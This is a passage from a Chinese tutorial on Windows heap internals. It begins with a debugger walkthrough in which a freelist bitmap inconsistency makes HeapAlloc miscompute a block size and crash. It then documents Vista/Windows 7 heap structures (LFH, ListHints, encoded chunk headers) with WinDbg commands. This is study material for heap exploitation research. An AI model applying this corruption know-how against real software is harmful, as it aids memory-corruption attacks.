  4. 查看堆块状态,发现h5堆块已为占用状态,但该处空表位图索引置位,空表位图认为该块仍未空闲

  5. 继续运行,由于再次申请和h5大小一样的堆块会导致崩溃,所以进入HeapAlloc函数,在0x7C930C63处下断点,然后按F9运行到此处

    0x7C930C63处伪代码如下:

    FreeListHead = v14;
    if ((_WORD)FreeListInUseUlong)
    {
    if ((_BYTE)FreeListInUseUlong)
    v15 = RtlpBitsClearLow[(unsigned __int8)FreeListInUseUlong];
    else
    v15 = RtlpBitsClearLow[BYTE1(FreeListInUseUlong)] + 8;
    }
    else if (BYTE2(FreeListInUseUlong))
    {
    v15 = RtlpBitsClearLow[BYTE2(FreeListInUseUlong)] + 16;
    }
    else
    {
    v15 = RtlpBitsClearLow[HIBYTE(FreeListInUseUlong)] + 24;
    }
    FreeListHead = &v14[4 * v15];
    BusyBlock_ = *((_DWORD *)FreeListHead + 1) - 8;
    v189 = (unsigned __int16 *)BusyBlock_;
    v21 = *(_DWORD *)(BusyBlock_ + 8);
    v144 = v21;
    v22 = *(int **)(BusyBlock_ + 12);
    v167 = v22;
    if (*v22 == *(_DWORD *)(v21 + 4) && *v22 == BusyBlock_ + 8)
    {
    *v22 = v21;
    *(_DWORD *)(v21 + 4) = v22;
    }
    else
    {
    RtlpHeapReportCorruption((const void *)(BusyBlock_ + 8));
    v22 = v167;
    }

    源码中为如下:

    FreeListHead += RtlFindFirstSetRightMember( FreeListsInUseUlong );
    //获取FreeBlock
    FreeBlock = CONTAINING_RECORD( FreeListHead->Blink,
    HEAP_FREE_ENTRY,
    FreeList );
    //Unlink代码
    RtlpFastRemoveDedicatedFreeBlock( Heap, FreeBlock ); //后续代码为分割块的过程
  6. 继续运行,可见FreeListHead被赋值为0x3A0250,即FreeList[27].Flink(即堆块的用户区地址)

  7. 继续运行,发现BusyBlock被赋值为0x003A0248,即将FreeList[26].Flink作为该堆块的块头

  8. 继续运行,直到0x7C930F2C处,该处代码即为分割块的过程(具体信息可见RtlAllocateHeap源码分析中切割块的部分)。运行完此句代码后从该堆块块头取出该块大小,因为FreeList[26].Flink和FreeList[27].Blink都指向他本身0x003A0248,所以取出大小为0248,此时块大小错误,后面引起分割块,导致崩溃

    0x7C930F2C处代码如下:

    FreeSize = BusyBlock->Size - AllocationIndex;

4.Windows Vista – Windows 7

4.1 环境准备

环境 环境准备
虚拟机 32位Windows 7 SP1
调试器 OllyDbg、WinDbg
编译器 VC6.0++、VS2008

4.2 堆的结构

​ 从Windows Vista版本开始,Windows系统舍弃了前版本中的以快表为核心的前端堆管理器,而引入了一套称为低碎片堆(Low Fragmentation Heap)的全新的数据结构和算法作为前端堆管理器,后端堆管理器为了适配新的前端堆管理器的在管理机制也与前版本的后端管理器有部分差异。

​ 从该版本开始,由前端堆管理器分配给用户的堆块的结构改变成了UserBlocks,与之前版本中的Lookaside相类似。有后端堆管理器分配给用户的堆块结构改变成了ListHints,与之前版本中的Freelist相类似。除此之外,管理堆的HeapBase中有个FreeLists成员容易与之前版本中的Freelist相混淆,该成员链接了该HeapBase所管理的所有空闲堆的指针。

4.2.1 _HEAP(HeapBase)

​ 每个堆都以一个叫HeapBase的结构开始构建。HeapBase包含了堆管理器所用到的多个重要的值和结构体指针。 它是每个堆的心脏,为了提供可靠的分配和释放操作,必须维持该结构的完整性。

1. 使用Windbg查看_HEAP结构

从PEB看HEAP结构

1)通过r $peb查看PEB地址

2)使用dt _PEB命令查看PEB结构

3)可见堆块个数和堆数组起始地址

4)通过dd 0x77ca7500 查看堆块数组

4)通过dt _HEAP 00310000 查看进程默认堆的结构体

利用Windbg的堆命令

1)使用!heap stat查看所有堆地址

2)第一个堆0x00310000即为进程默认堆地址

3)通过dt _HEAP 00310000 查看进程默认堆的结构体

2. _HEAP结构详解

ntdll!_HEAP
+0x000 Entry : _HEAP_ENTRY //存放管理结构的堆块句柄
+0x008 SegmentSignature : 0xffeeffee
+0x00c SegmentFlags : 0
+0x010 SegmentListEntry : _LIST_ENTRY [ 0xa10010 - 0x3100a8 ]
+0x018 Heap : 0x00310000 _HEAP //存放自身堆结构的指针
+0x01c BaseAddress : 0x00310000 Void //存放自身堆结构的起始地址
+0x020 NumberOfPages : 0x100
+0x024 FirstEntry : 0x00310588 _HEAP_ENTRY
+0x028 LastValidEntry : 0x00410000 _HEAP_ENTRY
+0x02c NumberOfUnCommittedPages : 0
+0x030 NumberOfUnCommittedRanges : 1
+0x034 SegmentAllocatorBackTraceIndex : 0
+0x036 Reserved : 0
+0x038 UCRSegmentList : _LIST_ENTRY [ 0x40fff0 - 0x40fff0 ]
+0x040 Flags : 2 //堆标志,2代表HEAP_GROWABLE
+0x044 ForceFlags : 0 //强制标志
+0x048 CompatibilityFlags : 0
+0x04c EncodeFlagMask : 0x100000
+0x050 Encoding : _HEAP_ENTRY
+0x058 PointerKey : 0x1f1dd2e0
+0x05c Interceptor : 0
+0x060 VirtualMemoryThreshold : 0xfe00 //最大堆块大小
+0x064 Signature : 0xeeffeeff //HEAP结构的签名,固定为这个值
+0x068 SegmentReserve : 0x1000000 //段的保留可见大小
+0x06c SegmentCommit : 0x2000 //每次提交内存的大小
+0x070 DeCommitFreeBlockThreshold : 0x800 //解除提交的单块阈值(粒度为单位)
+0x074 DeCommitTotalFreeThreshold : 0x2000 //解除提交的总空闲块阈值(粒度数)
+0x078 TotalFreeSize : 0x14d5e //空闲块总大小(以粒度为单位)
+0x07c MaximumAllocationSize : 0x7ffdefff //可分配的最大值
+0x080 ProcessHeapsListIndex : 1 //本堆在进程堆列表中的索引
+0x082 HeaderValidateLength : 0x138 //头结构的验证长度
+0x084 HeaderValidateCopy : (null)
+0x088 NextAvailableTagIndex : 0 //下一个可用的堆块标记索引
+0x08a MaximumTagIndex : 0 //最大的堆块标记索引
+0x08c TagEntries : (null) //指向用于标记堆块的标记结构
+0x090 UCRList : _LIST_ENTRY [ 0xb040fe8 - 0xb040fe8 ] //UnusedUnCommittedRanges链表
+0x098 AlignRound : 0xf
+0x09c AlignMask : 0xfffffff8 //用于地址对齐的掩码
+0x0a0 VirtualAllocdBlocks : _LIST_ENTRY [ 0x7ab0000 - 0x7ab0000 ]//虚拟内存块链表
+0x0a8 SegmentList : _LIST_ENTRY [ 0x310010 - 0xa960010 ] //段链表
+0x0b0 AllocatorBackTraceIndex : 0 //用于记录回溯信息
+0x0b4 NonDedicatedListLength : 0
+0x0b8 BlocksIndex : 0x00310150 Void
+0x0bc UCRIndex : 0x00310590 Void
+0x0c0 PseudoTagEntries : (null)
+0x0c4 FreeLists : _LIST_ENTRY [ 0xac665a0 - 0xaf3ee40 ]
+0x0cc LockVariable : 0x00310138 _HEAP_LOCK //用于串行化控制的同步对象
+0x0d0 CommitRoutine : 0x1f1dd2e0 long +1f1dd2e0
+0x0d4 FrontEndHeap : 0x003169e0 Void //用于快速释放堆块的“前端堆”
+0x0d8 FrontHeapLockCount : 0 //前端堆的锁定计数
+0x0da FrontEndHeapType : 0x2 '' //前端堆的类型
+0x0dc Counters : _HEAP_COUNTERS
+0x130 TuningParameters : _HEAP_TUNING_PARAMETERS

以下列举元素需要格外注意

  • EncodeFlagMask - 用于判断堆chunk头部是否被编码。该值初始化时由 RtlCreateHeap() 中的 RtlpCreateHeapEncoding() 设置为0x100000

  • Encoding - 在异或(XOR)操作中用于编码chunk头,防止可预知的元数据被污染

  • BlocksIndex - 这是个 _HEAP_LIST_LOOKUP 结构体,用途广泛

  • FreeLists - 一个特殊的链表,包含了堆上所有空闲chunk的指针。基本上可以把它看成是个堆缓存,只不过对所有尺寸的chunk都适用(并且没有单一关联位图)

  • FrontEndHeapType - 初始化设置为0x0的整型数,随后会被赋予0x2的值,用于指示LFH的使用。注意: Windows 7实际上不支持Lookaside Lists。

  • FrontEndHeap - 指向关联的前端堆。在Windows 7中,它要么是NULL要么是一个指向 _LFH_HEAP 结构体的 指针。

4.2.2 前端堆

1. _LFH_HEAP (HeapBase->FrontEndHeap)

​ LFH由该数据结构管理。当激活时,它会告知堆管理器它可以管理何种尺寸,同时对此前用过的chunks保持缓存。 尽管 BlocksIndex 足以追溯尺寸上超过0x800 blocks的chunks,但LFH仅仅为尺寸小于16k的chunks所用

1)使用Windbg查看_LFH_HEAP

​ 使用 dt _LFH_HEAP 0x003169e0命令查看_LFH_HEAP

2)_LFH_HEAP 结构详解
ntdll!_LFH_HEAP
+0x000 Lock : _RTL_CRITICAL_SECTION
+0x018 SubSegmentZones : _LIST_ENTRY [ 0x3345d0 - 0x20ecad8 ]
+0x020 ZoneBlockSize : 0x20
+0x024 Heap : 0x00310000 Void //该LFH指向父亲堆的指针
+0x028 SegmentChange : 0
+0x02c SegmentCreate : 0x1171c
+0x030 SegmentInsertInFree : 0
+0x034 SegmentDelete : 0x11579
+0x038 CacheAllocs : 0x1cb
+0x03c CacheFrees : 0xd
+0x040 SizeInCache : 0x31328
+0x048 RunInfo : _HEAP_BUCKET_RUN_INFO
+0x050 UserBlockCache : [12] _USER_MEMORY_CACHE_ENTRY //UserBlockCache数组跟踪了那些此前用过的内存chunks,这对未来的分配有用
+0x110 Buckets : [128] _HEAP_BUCKET //0x4字节的数据结构数组,仅仅用于跟踪索引和尺寸
+0x310 LocalData : [1] _HEAP_LOCAL_DATA //指向一个大数据结构的指针,该数据结构保存了每个SubSegment的信息

2. _HEAP_BUCKET_RUN_INFO

​ HeapBase->FrontEndHeap->RunInfo

1)使用Windbg查看_HEAP_BUCKET_RUN_INFO

​ 使用 dt _HEAP_BUCKET_RUN_INFO 00316A28 命令查看_HEAP_BUCKET_RUN_INFO结构

2)_HEAP_BUCKET_RUN_INFO结构详解
ntdll!_HEAP_BUCKET_RUN_INFO
+0x000 Bucket : 0x2d
+0x004 RunLength : 1
+0x000 Aggregate64 : 0n4294967341

3. _USER_MEMORY_CACHE_ENTRY

​ HeapBase->FrontEndHeap->UserBlockCache

1)使用Windbg查看_USER_MEMORY_CACHE_ENTRY

​ 使用 dt _USER_MEMORY_CACHE_ENTRY 316A30 命令查看_USER_MEMORY_CACHE_ENTRY结构

2)_USER_MEMORY_CACHE_ENTRY结构详解
ntdll!_USER_MEMORY_CACHE_ENTRY
+0x000 UserBlocks : _SLIST_HEADER
+0x008 AvailableBlocks : 0

4. _HEAP_BUCKET

​ HeapBase->FrontEndHeap->Buckets

1)使用Windbg查看_HEAP_BUCKET

​ 使用 dt _HEAP_BUCKET 0x00316Af0 命令查看_HEAP_BUCKET结构

2)_HEAP_BUCKET结构详解
ntdll!_HEAP_BUCKET
+0x000 BlockUnits : 1 //堆块大小,其计算式为 Buckets[s] = (_RtlpBucketBlockSizes[s] >> 3) + 1
+0x002 SizeIndex : 0 ''
+0x003 UseAffinity : 0y0
+0x003 DebugFlags : 0y00

​ 该结构是前端堆和后端堆的桥梁。当某个特定大小的堆块分配超过 0x10 次,即第 0x11 次时,_HEAP.CompatibilityFlags 会被修改为 0x20000000, 提示下一次再分配相同大小的堆块时,开启 LFH。

​ 因此在第 0x12 次分配时,对应大小的堆块的 LFH 启动,但启动之后仍会用后端堆来分配这个堆块,直到第 0x13 次才开始使用前端堆开始分配。在启动 LFH(第 0x12 次分配)时,ListHints 数组 中对应大小的_LIST_ENTRY.Blink 会被修改为_HEAP_BUCKET + 1。等第 0x13 次分配时,因为检测到 Blink - 1 指向_HEAP_BUCKET 结构,所以使用前端堆分配这个堆块。

5. _HEAP_LOCAL_DATA

HeapBase->FrontEndHeap->LocalData

​ 为LFH提供 _HEAP_LOCAL_SEGMENT_INFO 实例的关键数据结构

1)使用Windbg查看_HEAP_LOCAL_DATA

​ 使用 dt _HEAP_LOCAL_DATA 0x00316cf0 查看_HEAP_LOCAL_DATA结构

2)_HEAP_LOCAL_DATA结构详解
ntdll!_HEAP_LOCAL_DATA
+0x000 DeletedSubSegments : _SLIST_HEADER
+0x008 CrtZone : 0x020ecad8 _LFH_BLOCK_ZONE
+0x00c LowFragHeap : 0x003169e0 _LFH_HEAP //此结构关联的LFH
+0x010 Sequence : 0x12dae
+0x018 SegmentInfo : [128] _HEAP_LOCAL_SEGMENT_INFO //_HEAP_LOCAL_SEGMENT_INFO 结构数组,代表LFH所有可用的尺寸

6. _LFH_BLOCK_ZONE

HeapBase->FrontEndHeap->LocalData- >CrtZone

​ 该数据结构用于跟踪那些用于服务分配请求的内存的位置。这些指针在第一次服务请求时或者当指针链表用尽时被 LFH设置

1)使用Windbg查看_LFH_BLOCK_ZONE

​ 使用 dt _LFH_BLOCK_ZONE 0x020ecad8 查看_HEAP_LOCAL_DATA结构

2)_LFH_BLOCK_ZONE 结构详解
lkd> dt _LFH_BLOCK_ZONE 0x020ecad8
ntdll!_LFH_BLOCK_ZONE
+0x000 ListEntry : _LIST_ENTRY [ 0x3169f8 - 0xad3c560 ] //_LFH_BLOCK_ZONE 结构链表
+0x008 FreePointer : 0x020ecc08 Void //一个指向可以被 _HEAP_SUBSEGMENT 使用的内存指针
+0x00c Limit : 0x020eced0 Void //链表中最后一个LFH_BLOCK_ZONE结构。当该值达到临界时,后端堆会创建更多_LFH_BLOCK_ZONE结构

7. _HEAP_LOCAL_SEGMENT_INFO

HeapBase->FrontEndHeap- >LocalData->SegmentInfo[]

​ _HEAP_LOCAL_DATA结构体中共包含了大小为128的SegmentInfo数组,该数组中的每个元素都按照_RtlpBucketBlockSizes数组中所对应的大小(不包括堆头大小)维护着所有小于16KB的UserBlocks

​ 所请求的尺寸将决定使用哪一个 _HEAP_LOCAL_SEGMENT_IOFO 结构。该结构控制了堆算法决定最有效的方式来分配和释放内存的信息。尽管 _HEAP_LOCAL_DATA 中只有128个该结构,所有的小于16k的8字节对齐尺寸都有一个对应的 _HEAP_LOCAL_SEGMENT_INFO 。有一个特殊的算法用于计算相对索引,以保证每个 Bucket 都有一个专门的结构。

1)使用Windbg查看_HEAP_LOCAL_SEGMENT_INFO

​ ① 使用 dd 0x00316d08 查看SegmentInfo数组情况,发现SegmentInfo[0]为空

​ ② 从SegmentInfo[1]查看_HEAP_LOCAL_SEGMENT_INFO 结构,使用 dt _HEAP_LOCAL_SEGMENT_INFO 0x00316d70 查看_HEAP_LOCAL_SEGMENT_INFO 结构

2)_HEAP_LOCAL_SEGMENT_INFO 结构详解
ntdll!_HEAP_LOCAL_SEGMENT_INFO
+0x000 Hint : 0x08008698 _HEAP_SUBSEGMENT //该值仅在LFH释放了一个chunk时才设置。如果没有chunk被释放过,该值始终是NULL
+0x004 ActiveSubsegment : (null) //为大部分内存请求所用的SubSegment 。初始化为NULL
+0x008 CachedItems : [16] 0x00334960 _HEAP_SUBSEGMENT
+0x048 SListHeader : _SLIST_HEADER
+0x050 Counters : _HEAP_BUCKET_COUNTERS
+0x058 LocalData : 0x00316cf0 _HEAP_LOCAL_DATA //与此字段关联的 _HEAP_LOCAL_DATA 结构
+0x05c LastOpSequence : 0x4a0
+0x060 BucketIndex : 1 //每个SegmentInfo对象都与一个具体的Bucket尺寸(或索引)相关
+0x062 LastUsed : 5

8. _HEAP_SUBSEGMENT

HeapBase->FrontEndHeap->LocalData- >SegmentInfo[]->Hint, ActiveSubsegment, CachedItems

​ 每个特定的 _HEAP_BUCKET 有着合适的结构来标识,前端管理器也因此可以执行释放或分配

1)使用Windbg查看_HEAP_SUBSEGMENT

​ 使用 dt _HEAP_SUBSEGMENT 0x08008698 命令查看_HEAP_SUBSEGMENT结构

2)_HEAP_SUBSEGMENT结构详解
ntdll!_HEAP_SUBSEGMENT
+0x000 LocalInfo : 0x00316d70 _HEAP_LOCAL_SEGMENT_INFO //与此关联的_HEAP_LOCAL_SEGMENT_INFO 结构
+0x004 UserBlocks : 0x0aaceb38 _HEAP_USERDATA_HEADER //_HEAP_USERDATA_HEADER结构与此SubSegment耦合,
//控制了一个大的内存chunk,该chunk被分割成n个chunks。
+0x008 AggregateExchg : _INTERLOCK_SEQ //_INTERLOCK_SEQ 结构体,用于追溯当前的 Offset 和 Depth
+0x010 BlockSize : 2 //表示该结构体所维护堆块(包括堆头)的block尺寸
+0x012 Flags : 0
+0x014 BlockCount : 0x3e //表示该结构体所维护的所有堆块的数量
+0x016 SizeIndex : 0x1 '' //该SubSegment的_HEAP_BUCKET SizeIndex。
//该结构体所维护堆块用户区的block尺寸。BucketIndex=SizeIndex=BlockSize-1
+0x017 AffinityIndex : 0 ''
+0x010 Alignment : [2] 2
+0x018 SFreeListEntry : _SINGLE_LIST_ENTRY
+0x01c Lock : 3

9. _HEAP_USERDATA_HEADER

HeapBase->FrontEndHeap->LocalData- >SegmentInfo[]->Hint, ActiveSubsegment, CachedItems- >UserBlocks

​ 在UserBlock chunk之前。该头部结构用于服务LFH所有的请求。当定位到一个 SubSegment 后,已提交(committed)内存实际上操纵的位置就是该结构

1)使用Windbg查看_HEAP_USERDATA_HEADER

​ 使用 dt _HEAP_USERDATA_HEADER 0x0aaceb38 命令查看_HEAP_USERDATA_HEADER结构

2)_HEAP_USERDATA_HEADER结构详解
ntdll!_HEAP_USERDATA_HEADER
+0x000 SFreeListEntry : _SINGLE_LIST_ENTRY
+0x000 SubSegment : 0x08008698 _HEAP_SUBSEGMENT
+0x004 Reserved : 0x021449f0 Void
+0x008 SizeIndex : 0xa
+0x00c Signature : 0xf0e0d0c0
3)UserBlocks

​ UserBlocks字段为用户堆块开始的头部,紧接着UserBlocks之后就是相连的大小固定的用户区。下面以SegmentInfo[5]->Hint.UserBlcks所维护的大小为0x30(用户区为0x28)的堆块为例,其在内存空间上如图所示:

​ 空闲状态堆块用户区的前2字节会存放下一个空闲堆的偏移,以方便在申请堆块时及时更新下文中提到的AggregateExchg中的FreeEntryOffset字段

10. _INTERLOCK_SEQ

HeapBase->FrontEndHeap->LocalData- >SegmentInfo[]->Hint, ActiveSubsegment, CachedItems- >AggregateExchg

​ 因为 UserBlock chunks被划分的方式,我们需要某种方式来获取当前的偏移来释放或分配下一个chunk。该过程由 _INTERLOCK_SEQ 数据结构控制

1)使用Windbg查看_INTERLOCK_SEQ

​ 使用 dt _INTERLOCK_SEQ 0x080086A0 命令查看_INTERLOCK_SEQ结构

2)_INTERLOCK_SEQ结构详解
ntdll!_INTERLOCK_SEQ
+0x000 Depth : 0x22 //记录在UserBlock中剩余多少个chunks。释放时该值会递增,分配时递减。初始值由UserBlock/HeapBucket决定
+0x002 FreeEntryOffset : 0x3e //双字节整型数*0x8,加上_HEAP_USERDATA_HEADER的地址,就是下一个释放或分配内存的指针。
//该值以blocks(0x8字节)为单位,初始化为0x2,这是因为sizeof(_HEAP_USERDATA_HEADER) 等于0x10。
//(头部占两个blocks 0x2 * 0x8 == 0x10)
+0x000 OffsetAndDepth : 0x3e0022 //因为Depth和FreeEntryOffset都是双字节,所以它们可以组合形成一个单一四字节值。(注意这是个union)
+0x004 Sequence : 0xe9a016ac
+0x000 Exchg : 0n-1612263738604388318

11. _HEAP_ENTRY(Chunk Header)

​ _HEAP_ENTRY 就是堆chunk的头部,它是一个8字节的值,存储于每个chunk内存空间的起始位置(即使是 UserBlocks 内部的chunks也一样)

1)使用Windbg查看_HEAP_ENTRY

​ 使用 dt _HEAP_ENTRY 000aaceb30查看_HEAP_ENTRY结构

2)HEAP_ENTRY结构被加密,加密方法:HEAP_ENTRY的前4字节 与 HEAP结构偏移0x50处的Encoding进行异或。

3)进行解密:

​ ① 使用 dd 0x0aaceb30 命令查看HEAP_ENTRY结构值为:995cf68c 081703ed

​ ② 使用 dd 00310050 命令查看Encoding的值为:1055f60c 000003f7

​ ③ 进行异或:得到真正的HEAPENTRY结构为:89090080 081703ed

2)_HEAP_ENTRY结构详解(已更换为解密数据)
ntdll!_HEAP_ENTRY
+0x000 Size : 0x0080 //chunk的尺寸,单位为blocks。它包括 _HEAP_ENTRY 本身的大小
+0x002 Flags : 0x09 //指示chunk的状态。比如FREE或BUSY
+0x003 SmallTagIndex : 0x89 //该值存储 _HEAP_ENTRY 前三个字节的XOR校验值
+0x000 SubSegmentCode : 0x83ed
+0x006 SegmentOffset : 0x17
+0x006 LFHFlags : 0x17
+0x007 UnusedBytes : 0x8 //表示未使用字节数,或是一个被LFH所管理的指示chunk状态的字节 +0x000 FunctionIndex : 0x0080
+0x002 ContextValue : 0x8909
+0x000 InterceptorValue : 0x89090080
+0x004 UnusedBytesLength : 0x03ed
+0x006 EntryOffset : 0x17 ''
+0x007 ExtendedBlockSignature : 0x8 '' //表示未使用字节数,或是一个被LFH所管理的指示chunk状态的字节 +0x000 Code1 : 0x0x89090080
+0x004 Code2 : 0x3ed
+0x006 Code3 : 0x17 ''
+0x007 Code4 : 0x8 '' +0x000 AgregateCode : 0x081703ed`0x89090080

12. _HEAP_BUCKET_COUNTERS

HeapBase->FrontEndHeap- >LocalData->SegmentInfo[]->Counters

1)使用Windbg查看_HEAP_BUCKET_COUNTERS

​ 使用 dt _HEAP_BUCKET_COUNTERS 00316d58 命令查看_HEAP_BUCKET_COUNTERS:

2)_HEAP_BUCKET_COUNTERS结构详解
ntdll!_HEAP_BUCKET_COUNTERS
+0x000 TotalBlocks : 0
+0x004 SubSegmentCounts : 0
+0x000 Aggregate64 : 0n0

4.2.3 后端堆

1. _HEAP_LIST_LOOKUP (HeapBase->BlocksIndex)

1)使用Windbg查看_HEAP_LIST_LOOKUP 结构

​ 由 RtlCreateHeap() 初始化的第一个 _HEAP_LIST_LOOKUP 结构会分配在 HeapBase+0x150处,所以使用dt _HEAP_LIST_LOOKUP 00310150命令

2)_HEAP_LIST_LOOKUP 结构详解
ntdll!_HEAP_LIST_LOOKUP
+0x000 ExtendedLookup : 0x00312cc0 _HEAP_LIST_LOOKUP
+0x004 ArraySize : 0x80
+0x008 ExtraItem : 1
+0x00c ItemCount : 0xd3
+0x010 OutOfRangeItems : 0
+0x014 BaseIndex : 0
+0x018 ListHead : 0x003100c4 _LIST_ENTRY [ 0xac665a0 - 0xaf3ee40 ]
+0x01c ListsInUseUlong : 0x00310174 -> 0xbffffffc
+0x020 ListHints : 0x00310184 -> (null)

重点元素解释如下

  • ExtendedLookup - 指向下一个 _HEAP_LIST_LOOKUP 结构体的指针,不存在下一个则为NULL。如果有需要,堆管理器会创建更多的_HEAP_LIST_LOOKUP作为扩展,来容纳之后被释放的、更大的堆块(比如激活LFH时,就会创建一个该扩展结构)

  • ArraySize - 描述ListHints数组中有多少个成员,ListHints[ArrarySize-1]为最后一个成员。 Windows 7当前唯一使用的两个尺寸值是0x80和0x800。

    例如,HeapBase->BlocksIndex中的ArraySize为0x80,若有扩展,则扩展后结构中的ArraySize为0x800,即HeapBase->BlocksIndex->ExtendedLookup.ArraySize=0x800。

  • ExtraItem:提示ListHints数组的每一个成员是由1个ptr32指针还是由2个ptr32指针构成。

    在 win7 中 ListHints 数组的元素是_LIST_ENTRY,包括了 Flink 和 Blink,而在 win8 中,ListHints 数组的元素仅是一个指针,即 Flink,没有 Blink 了

  • ItemCount - 表示该_HEAP_LIST_LOOKUP结构中 Free 状态堆块的个数

  • OutOfRangeItems - 该四字节值记载了类FreeList[0]结构中条目的个数。每个 _HEAP_LIST_LOOKUP 会通过 ListHint[ArraySize-BaseIndex-1] 来跟踪尺寸大于 ArraySize-1 的空闲chunks

    表示该_HEAP_LIST_LOOKUP结构中超过ArraySize大小的堆块,即ListHints[ArraySize-BaseIndex-1]链表中的堆块个数。例如,该_HEAP_LIST_LOOKUP结构有扩展,则OutOfRangeItems为0

  • BaseIndex - 用于索引 ListHints 数组的相对偏移,每个 _HEAP_LIST_LOOKUP 都被设计成对应于某一个具体尺寸。例如,第一个BlocksIndex的BaseIndex应该是0x0,因为它管理的chunks大小范围在0x0-0x80之间, 而第二个BlocksIndex的BaseIndex应该是0x80

    因为创建新的_HEAP_LIST_LOOKUP 结构作为扩展时,新 ListHints 中的第一个元素会承接旧 ListHints 的最后一个元素(因为旧 ListHints 有了扩展, 所以在创建新的扩展结构时,旧 ListHints 的最后一个元素_LIST_ENTRY 不需要管理大小过大且不相等的堆块,因此其_LIST_ENTRY.Flink 被置为 0.

    在之后的分配中,旧 ListHints 的最后一个元素管理一个特定大小的堆块,不再管理大小不一的堆块,这个特定大小按如下计算:(ArraySize - BaseIndex - 1) * 8,该大小包括堆块的_HEAP_ENTRY 头结构。同时,由于创建了新的扩展结构,旧 _HEAP_LIST_LOOKUP 的 OutOfRangeItems 将被置为 0)

  • ListHead - 它和 HeapBase->FreeLists 指向同一个位置,该位置是一个链表,存储了堆中可用的所有的空闲 chunks

  • ListsInUseUlong - 形式上作为 FreeListInUseBitmap ,该4字节整型数是一种优化,用于判断哪个 ListHints 拥有可用的chunks

  • ListHints - 一个_LIST_ENTRY结构体数组,_LIST_ENTRY结构体仅占8个字节,其中有2个大小为4字节的Flink和Blink字段。ListHints数组的索引号代表着所管理堆块的block尺寸,每个Flink指向_HEAP->FreeLists链上的第一个对应大小堆块。

    此处的Blink较为特殊,不会指向堆块的地址,而是在该大小堆块开启了LFH分配机制后会指向索引号对应的Buckets(_HEAP_BUCKET)+1地址;在未开启LFH分配机制时,Blink的前2字节表示所有占用状态该大小堆块总数的2倍,后2字节表示申请该大小堆块的总次数。

    ListHints[ArraySize-BaseIndex-1]的Flink指针会指向FreeLists链上第一个block尺寸大于ArraySize-1的空闲堆块,类似于前版本中的Freelist[0]。

    总的来说,ListHints的Flink起着FreeLists链表堆缓存的作用ListHints的Blink则起着连接后端堆管理器和前端堆管理器的作用,因为它标志着对应大小的堆块是否已启用LFH进行分配

3)Windbg分析_HEAP_LIST_LOOKUP 结构

① 观察第一个_HEAP_LIST_LOOKUP结构,简称为A

​ 如图可知:

  • ExtendLookup 不为NULL,该_HEAP_LIST_LOOKUP有扩展结构,其地址为0x00312cc0

  • ArraySize为0x80,标识该结构的ListHints数组有 0x80 - 0 = 0x80个元素

  • ExtraItem为1,表示ListHints数组中的元素为_LIST_ENTRY

  • ItemCount为 0xd3,表示该结构管理着 0xd3 个空闲堆块

  • OutOfRangeItems 为 0,表示该结构管理的堆块中没有大小 > (ArraySize - BaseIndex - 1) * 8 的堆块

  • ListHead 的内容是_HEAP.FreeLists 的地址,其中 0xC4 是 FreeLists 相对于_HEAP 结构的偏移_

  • ListsInUseUlong 为 0x00310174,是一个地址,指向一块 Bitmap,该 Bitmap 的 字节数为 ListHints 数组的元素数除以 8,因为 Bitmap 的每一个 bit 表示一个 ListHints 的元素,所以 8 个 bit(一个字节)就代表 8 个元素

  • ListHints 为 0x00310184,指向_LIST_ENTRY 数组

② 观察第二个_HEAP_LIST_LOOKUP结构,简称为B

​ 如图可知:

  • ExtendLookup 为 NULL,结构 B 没有扩展结构了

  • ArraySize 为 0x800,表示 ListHints 数组有 ArraySize - BaseIndex = 0x800 - 0x80 = 0x780 个 元素

  • ExtraItem为1,表示ListHints数组中的元素为_LIST_ENTRY

  • ItemCount为 0x41,表示该结构管理着 0x41 个空闲堆块

  • OutOfRangeItems 为 0x1e,代表有 0x1e 个堆块由于大小太大,大于等于了 (0x800 - 0x80 - 1) * 8 = 0x3BF8,所以被链在了结构 B 的 ListHints 的最后一个元素上

    通过!heap -p -a 命令,可看到该部分某一个堆块的总大小为 0x03ff8,大于 0x3BF8

  • BaseIndex 为 0x80,代表上一个_HEAP_LIST_LOOKUP 结构,即结构 A 的 ListHints 的元素有 0x80 个,所以为了接着结构 A,结构 B 的 ListHints 的第一个 元素所管理的堆大小应该多 8 个字节

  • ListHead 仍然指向_HEAP.FreeLists

  • 结构 B 中最后两个成员的值相差 0xF0,即 Bitmap 的大小为 0xF0

2. ListHints数组

使用Windbg查看ListHints数组

​ 使用 dd 0x00310184 命令查看 ListHints 数组

​ 从 0x00310174 - 0x00310184的 0x10 个字节为 ListsInUseUlong ,Bitmap 的每一位代表 ListHints 的一个元素,第一个字节是 0xFC,其二进制形式为 11111100,第一位为 0,代表 ListHints 的第一个元素没有堆块,第二个元素也是这样。后面的元素都和Bitmap的置位有关

2. _LIST_ENTRY (_HEAP->FreeList)

1)使用Windbg查看_LIST_ENTRY 结构

​ ① 使用 dt _LIST_ENTRY 003100c4 命令查看_HEAP->FreeList的_LIST_ENTRY 结构如下:

​ ② 使用 dt _LIST_ENTRY 0x2139518 查看 _HEAP->FreeList->Flink处的第一个_LIST_ENTRY 结构如下:

​ ③ 使用 dd 0x00310184 观察 _HEAP_LIST_LOOKUP->ListHints 数组

2)_LIST_ENTRY结构详解
uxtheme!_LIST_ENTRY
[ 0x2139518 - 0x21ab0848 ]
+0x000 Flink : 0x02139518 _LIST_ENTRY [ 0xac665a0 - 0x3100c4 ] //指向下一个Chunk
+0x004 Blink : 0x21ab0848 _LIST_ENTRY [ 0x3100c4 - 0x21a70048 ]//指向上一个Chunk

3. 后端堆体系架构图

4.3 堆块的操作

4.3.1 堆块的分配

​ 此处代码详解见 “堆相关源码分析2.2.1"

1. 分配

​ 当试图为应用程序调用请求而服务时,分配会从 RtlAllocateHeap() 开始

流程
  1. 将分配大小按8字节对齐

  2. 获取HeapListLookup结构,遍历,找出需要使用的是哪一个

    会获取一个 ListHints 的索引。如果没有找到特定索引,就使用 BlocksIndex->ArraySize-1

  3. 有一种情况会返回 BlocksIndex->ArraySize-1 作为ListHint索引。如果出现了这种情况,那么后端分配器会使用一个值为NULL的 FreeList 。这将引起后端分配器尝试使用 Heap->FreeLists 。如果 FreeLists 不包含大小充足的 chunk,堆会使用 RtlpExtendHeap() 来进行扩展。

  4. 如果特定的索引被成功获取到,那么堆管理器会试图使用 FreeList 来满足需求的尺寸。它会根据 FreeList- >Blink 来判断对该Bucket来说LFH是否有激活

    如果有,调用RtlpLowFragHeapAllocFromContext使用前端堆管理器

    如果没有的话,管理器会默认使用后端,调用RtlpAllocateHeap使用后端堆管理器

2. 后端分配(RtlpAllocateHeap)

